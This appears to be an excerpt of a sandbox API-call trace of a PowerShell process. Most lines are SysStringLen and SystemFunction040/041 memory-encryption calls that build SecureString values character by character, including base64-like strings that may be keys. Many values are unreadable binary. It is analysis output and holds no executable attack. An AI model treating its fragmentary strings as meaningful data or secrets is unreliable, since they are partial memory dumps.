MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad7c) returned 0x0 [0234.983] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘ⲏ￟ꅡ렳庝酠陒ꠈꥃ墳恡扗鸍Ԧ쮳ȅ") returned 0x28 [0234.983] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘ⲏ￟ꅡ렳庝酠陒ꠈꥃ墳恡扗鸍Ԧ쮳ȅ") returned 0x28 [0234.983] SystemFunction041 (in: Memory=0x5c9ad7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad7c) returned 0x0 [0234.983] SysStringLen (param_1="W9BAqU0+9B406CFm4MF/s3QcH+rvnvweQiDka㆜甼訔") returned 0x28 [0234.983] SystemFunction040 (in: Memory=0x5c9ad7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad7c) returned 0x0 [0234.983] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘ⲏ￟ꅡ렳庝酠陒ꠈ४\xfddd䥞ℑֿ䊡᫬") returned 0x28 [0234.983] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘ⲏ￟ꅡ렳庝酠陒ꠈ४\xfddd䥞ℑֿ䊡᫬") returned 0x28 [0234.983] SystemFunction041 (in: Memory=0x5c9ad7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad7c) returned 0x0 [0234.983] SysStringLen (param_1="W9BAqU0+9B406CFm4MF/s3QcH+rvnvweQiDkad甼訔") returned 0x28 [0234.983] SystemFunction040 (in: Memory=0x5c9ad7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad7c) returned 0x0 [0234.983] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘ⲏ￟ꅡ렳庝酠陒ꠈ四뗂坨쭺㮇䔔짠ຠ") returned 0x28 [0234.983] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘ⲏ￟ꅡ렳庝酠陒ꠈ四뗂坨쭺㮇䔔짠ຠ") returned 0x28 [0234.983] SystemFunction041 (in: Memory=0x5c9ad7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad7c) returned 0x0 [0234.984] SysStringLen (param_1="W9BAqU0+9B406CFm4MF/s3QcH+rvnvweQiDkadI訔") returned 0x28 [0234.984] SystemFunction040 (in: Memory=0x5c9ad7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad7c) returned 0x0 [0234.984] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘ⲏ￟ꅡ렳庝酠陒ꠈ닩萪Ⓒࡷ犄璯簈") returned 0x28 [0234.984] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘ⲏ￟ꅡ렳庝酠陒ꠈ닩萪Ⓒࡷ犄璯簈") returned 0x28 [0234.984] SystemFunction041 (in: Memory=0x5c9ad7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad7c) returned 0x0 [0234.984] SysStringLen (param_1="W9BAqU0+9B406CFm4MF/s3QcH+rvnvweQiDkadIf") returned 0x28 [0234.984] SystemFunction040 (in: Memory=0x5c9ad7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad7c) returned 0x0 [0234.984] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘ⲏ￟ꅡ렳庝酠陒ꠈ횢樓䄾稤謗쿈핽嬰") returned 0x28 [0234.984] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘ⲏ￟ꅡ렳庝酠陒ꠈ횢樓䄾稤謗쿈핽嬰") returned 0x28 [0234.984] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘ⲏ￟ꅡ렳庝酠陒ꠈ횢樓䄾稤謗쿈핽嬰") returned 0x28 [0234.984] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘ⲏ￟ꅡ렳庝酠陒ꠈ횢樓䄾稤謗쿈핽嬰") returned 0x30 [0234.984] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0234.985] SysStringLen (param_1="W9BAqU0+9B406CFm4MF/s3QcH+rvnvweQiDkadIfi쇙㙗샪ø禷꘎阋") returned 0x30 [0234.985] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0234.985] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘ⲏ￟ꅡ렳庝酠陒ꠈ횢樓䄾稤謗쿈핽嬰꛱畩劑鳇ඪ饴Ϯ≟") returned 0x30 [0234.985] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘ⲏ￟ꅡ렳庝酠陒ꠈ횢樓䄾稤謗쿈핽嬰꛱畩劑鳇ඪ饴Ϯ≟") returned 0x30 [0234.985] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0234.985] SysStringLen (param_1="W9BAqU0+9B406CFm4MF/s3QcH+rvnvweQiDkadIfiI㙗샪ø禷꘎阋") returned 0x30 [0234.985] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0234.985] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘ⲏ￟ꅡ렳庝酠陒ꠈ횢樓䄾稤謗쿈핽嬰賉䭭\㛘泣綫⋮) returned 0x30 [0234.985] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘ⲏ￟ꅡ렳庝酠陒ꠈ횢樓䄾稤謗쿈핽嬰賉䭭\㛘泣綫⋮) returned 0x30 [0234.985] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0234.985] SysStringLen (param_1="W9BAqU0+9B406CFm4MF/s3QcH+rvnvweQiDkadIfiIs샪ø禷꘎阋") returned 0x30 [0234.985] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0234.985] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘ⲏ￟ꅡ렳庝酠陒ꠈ횢樓䄾稤謗쿈핽嬰Ⲝᶴ泣﫰㬥羦弯") returned 0x30 [0234.985] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘ⲏ￟ꅡ렳庝酠陒ꠈ횢樓䄾稤謗쿈핽嬰Ⲝᶴ泣﫰㬥羦弯") returned 0x30 [0234.986] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0234.986] SysStringLen (param_1="W9BAqU0+9B406CFm4MF/s3QcH+rvnvweQiDkadIfiIs=ø禷꘎阋") returned 0x30 [0234.986] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0234.986] EtwEventActivityIdControl () returned 0x0 [0234.986] EtwEventActivityIdControl () returned 0x0 [0234.986] EtwEventActivityIdControl () returned 0x0 [0234.987] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.987] EtwEventActivityIdControl () returned 0x0 [0234.987] EtwEventActivityIdControl () returned 0x0 [0234.987] EtwEventActivityIdControl () returned 0x0 [0234.988] SysStringLen (param_1="") returned 0x8 [0234.988] SysStringLen (param_1="N") returned 0x8 [0234.988] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.988] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0234.988] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0234.988] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.988] SysStringLen (param_1="ND") returned 0x8 [0234.988] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.988] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0234.989] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0234.989] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.989] SysStringLen (param_1="NDZ") returned 0x8 [0234.989] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.989] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0234.989] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0234.989] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.989] SysStringLen (param_1="NDZl") returned 0x8 [0234.989] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.989] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0234.989] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0234.989] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.989] SysStringLen (param_1="NDZlO") returned 0x8 [0234.989] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.989] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0234.990] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0234.990] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.990] SysStringLen (param_1="NDZlOD") returned 0x8 [0234.990] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.990] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0234.990] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0234.990] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.990] SysStringLen (param_1="NDZlODR") returned 0x8 [0234.990] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.990] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0234.990] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0234.990] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.990] SysStringLen (param_1="NDZlODRm") returned 0x8 [0234.990] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.990] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0234.991] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0234.991] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0234.991] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0234.991] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.991] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0234.991] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.991] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0234.991] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0234.991] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.992] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0234.992] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.992] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0234.992] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0234.992] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.992] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0234.992] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.992] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0234.992] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0234.992] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.992] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0234.992] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.992] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0234.992] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0234.992] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.993] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0234.993] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.993] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0234.993] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0234.993] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.993] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0234.993] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.993] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0234.993] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0234.993] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.993] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0234.993] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.993] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0234.993] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0234.993] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.994] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0234.994] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.994] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0234.994] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0234.994] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0234.994] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0234.994] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.994] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0234.994] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.995] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0234.995] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0234.995] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.995] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0234.995] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.995] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0234.995] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0234.995] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.995] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0234.995] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.995] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0234.995] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0234.995] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.995] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0234.995] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.996] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0234.996] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0234.996] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.996] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0234.996] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.996] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0234.996] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0234.996] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.996] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0234.996] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.996] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0234.996] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0234.996] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.996] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0234.996] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.997] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0234.997] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0234.997] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.997] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0234.997] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.997] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0234.997] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0234.997] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0234.997] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0234.997] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.998] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0234.998] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.998] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0234.998] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0234.998] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.998] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0234.998] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.998] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0234.998] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0234.998] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.998] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0234.998] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.999] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0234.999] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0234.999] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.999] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0234.999] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.999] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0234.999] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0234.999] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.999] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0234.999] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.999] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0234.999] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0234.999] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.999] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0234.999] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.000] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0235.000] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0235.000] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.000] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0235.000] 